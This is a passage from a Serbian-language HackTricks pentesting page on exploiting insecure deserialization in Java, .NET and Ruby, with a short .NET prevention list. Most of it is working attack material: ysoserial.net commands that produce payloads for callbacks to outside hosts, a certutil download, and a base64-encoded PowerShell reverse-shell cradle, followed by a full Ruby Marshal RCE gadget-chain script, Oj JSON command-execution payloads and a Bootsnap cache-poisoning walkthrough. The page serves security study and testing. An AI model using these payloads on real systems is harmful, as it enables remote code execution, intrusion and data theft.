To znači da će u ovoj eksploataciji svi klijenti koji će koristiti tu poruku biti zaraženi.
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da biste iskoristili ranjivost.
Alat JMET je kreiran da poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
Reference
- JMET razgovor: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Slajdovi: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
U kontekstu .Net, eksploatacije deserializacije funkcionišu na način sličan onima u Javi, gde se gadgeti koriste za izvršavanje specifičnog koda tokom deserializacije objekta.
Otisak
WhiteBox
Izvorni kod treba pregledati zbog pojava:
TypeNameHandling
JavaScriptTypeResolver
Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću promenljive pod kontrolom korisnika.
BlackBox
Pretraga treba da bude usmerena na Base64 kodiranu string AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject
ili $type
.
ysoserial.net
U ovom slučaju možete koristiti alat ysoserial.net kako biste napravili eksploatacije deserializacije. Kada preuzmete git repozitorijum, trebali biste kompilirati alat koristeći Visual Studio, na primer.
Ako želite da saznate kako ysoserial.net pravi svoju eksploataciju, možete proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Glavne opcije ysoserial.net su: --gadget
, --formatter
, --output
i --plugin
.
--gadget
se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).--formatter
, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).--output
se koristi za označavanje da li želite eksploataciju u raw ili base64 kodiranom formatu. Napomena da će ysoserial.net kodirati payload koristeći UTF-16LE (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke probleme sa kompatibilnošću kodiranja koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi).--plugin
ysoserial.net podržava plugine za kreiranje eksploatacija za specifične okvire kao što je ViewState.
Više ysoserial.net parametara
--minify
će pružiti manji payload (ako je moguće)--raf -f Json.Net -c "anything"
Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatterom (Json.Net
u ovom slučaju)--sf xml
možete označiti gadget (-g
) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se od velikih i malih slova)
ysoserial primeri za kreiranje eksploatacija:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net takođe ima veoma zanimljiv parametar koji pomaže da se bolje razume kako svaki exploit funkcioniše: --test
Ako navedete ovaj parametar, ysoserial.net će pokušati da izvrši exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno.
Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda kao što je sledeći (iz ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
To znači da će kod pozvati serializersHelper.JsonNet_deserialize kako bi testirao eksploataciju.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
U prethodnom kodu postoji ranjivost na stvoreni exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno ta aplikacija takođe ranjiva.
Zato --test
parametar omogućava da razumemo koji delovi koda su ranjivi na exploit deserializacije koji ysoserial.net može stvoriti.
ViewState
Pogledajte ovaj POST o kako pokušati da iskoristite __ViewState parametar .Net da izvršite proizvoljan kod. Ako već znate tajne koje koristi žrtvinska mašina, pročitajte ovaj post da saznate kako da izvršite kod.
Prevencija
Da biste umanjili rizike povezane sa deserializacijom u .Net:
- Izbegavajte dozvoljavanje podataka da definišu svoje tipove objekata. Koristite
DataContractSerializer
iliXmlSerializer
kada je to moguće. - Za
JSON.Net
, postaviteTypeNameHandling
naNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Izbegavajte korišćenje
JavaScriptSerializer
saJavaScriptTypeResolver
. - Ograničite tipove koji mogu biti deserializovani, razumevajući inherentne rizike sa .Net tipovima, kao što je
System.IO.FileInfo
, koji može menjati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge. - Budite oprezni sa tipovima koji imaju rizična svojstva, poput
System.ComponentModel.DataAnnotations.ValidationException
sa svojimValue
svojstvom, koje može biti iskorišćeno. - Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i
DataContractSerializer
iliXmlSerializer
ranjivim. - Implementirajte kontrole bele liste koristeći prilagođeni
SerializationBinder
zaBinaryFormatter
iJSON.Net
. - Budite informisani o poznatim nesigurnim deserializacijskim gadgetima unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
- Izolujte potencijalno rizičan kod od koda sa pristupom internetu kako biste izbegli izlaganje poznatim gadgetima, kao što je
System.Windows.Data.ObjectDataProvider
u WPF aplikacijama, nepouzdanim izvorima podataka.
Reference
- Java i .Net JSON deserializacija rad: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, predavanje: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdovi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar marshal biblioteke. Prva metoda, poznata kao dump, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, load, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
Za zaštitu serijalizovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), osiguravajući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednom od nekoliko mogućih mesta:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generička deserializacija u RCE gadget lanac (više informacija u https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Drugi RCE lanac za eksploataciju Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metoda
Kao što je objašnjeno u ovom izveštaju o ranjivosti, ako neki korisnički nesanitizovani unos dođe do .send()
metode ruby objekta, ova metoda omogućava pozivanje bilo koje druge metode objekta sa bilo kojim parametrima.
Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti izvršavanje proizvoljnog koda:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Pored toga, ako samo jedan parametar .send()
kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti.
Za ovo, moguće je enumerisati sve metode objekta da bi se pronašle neke zanimljive metode koje ispunjavaju te zahteve.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Proverite kako bi moglo biti moguće da zagađujete Ruby klasu i zloupotrebljavate je ovde.
Ruby _json pollution
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, one će biti dodate u novi ključ pod nazivom _json
. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom _json
sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi _json
parametar za izvršavanje neke akcije, mogla bi se izvršiti zaobilaženje autorizacije.
Proverite više informacija na Ruby _json pollution stranici.
Other libraries
Ova tehnika je preuzeta iz ovog blog posta.
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada se deserializuje (funkcija koja se zloupotrebljava za dobijanje RCE u suštini):
Library | Input data | Kick-off method inside class |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (klasa treba da bude stavljena u hash(map) kao ključ) |
Ox | XML | hash (klasa treba da bude stavljena u hash(map) kao ključ) |
Psych (Ruby) | YAML | hash (klasa treba da bude stavljena u hash(map) kao ključ)init_with |
JSON (Ruby) | JSON | json_create ([vidi beleške o json_create na kraju](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje hash
funkcije poziva to_s
, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nefiltriranih ranjivosti deserializacije.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira folder, što je zahtev za zloupotrebu drugog uređaja kako bi se ovo pretvorilo u potpunu RCE sa nečim poput:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Nije baš ranjivost deseralizacije, ali je lep trik za zloupotrebu bootstrap keširanja kako bi se dobio RCE iz Rails aplikacije sa arbitrarnim pisanjem fajlova (pronađite kompletnu originalnu objavu ovde).
Ispod je kratak pregled koraka detaljno opisanih u članku za iskorišćavanje ranjivosti arbitrarnog pisanja fajlova zloupotrebom Bootsnap keširanja:
- Identify the Vulnerability and Environment
Funkcionalnost za upload fajlova u Rails aplikaciji omogućava napadaču da arbitrarnu piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao što su tmp su zapisivi zbog Docker-ovog korisnika bez root privilegija), to i dalje omogućava pisanje u Bootsnap keš direktorijum (obično pod tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap ubrzava vreme pokretanja Rails-a keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva keš fajlove koji uključuju zaglavlje keš ključa (sa poljima kao što su verzija Ruby-a, veličina fajla, mtime, opcije kompajliranja, itd.) praćeno kompajliranim kodom. Ovo zaglavlje se koristi za validaciju keša tokom pokretanja aplikacije.
- Gather File Metadata
Napadač prvo bira ciljni fajl koji će verovatno biti učitan tokom pokretanja Rails-a (na primer, set.rb iz Ruby-ove standardne biblioteke). Izvršavanjem Ruby koda unutar kontejnera, izvlače kritične metapodatke (kao što su RUBY_VERSION, RUBY_REVISION, veličina, mtime i compile_option). Ovi podaci su ključni za kreiranje validnog keš ključa.
- Compute the Cache File Path
Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se tačna putanja keš fajla. Ovaj korak osigurava da je zlonamerni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Napadač priprema payload koji:
- Izvršava arbitrane komande (na primer, pokreće id da prikaže informacije o procesu).
- Uklanja zlonamerni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
- Učitava originalni fajl (npr. set.rb) kako bi izbegao rušenje aplikacije.
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim zaglavljem keš ključa (koristeći prethodno prikupljene metapodatke i ispravnu verziju za Bootsnap).
- Overwrite and Trigger Execution Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, zlonamerni keš fajl se učitava, što rezultira daljinskom izvršavanjem koda (RCE).
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.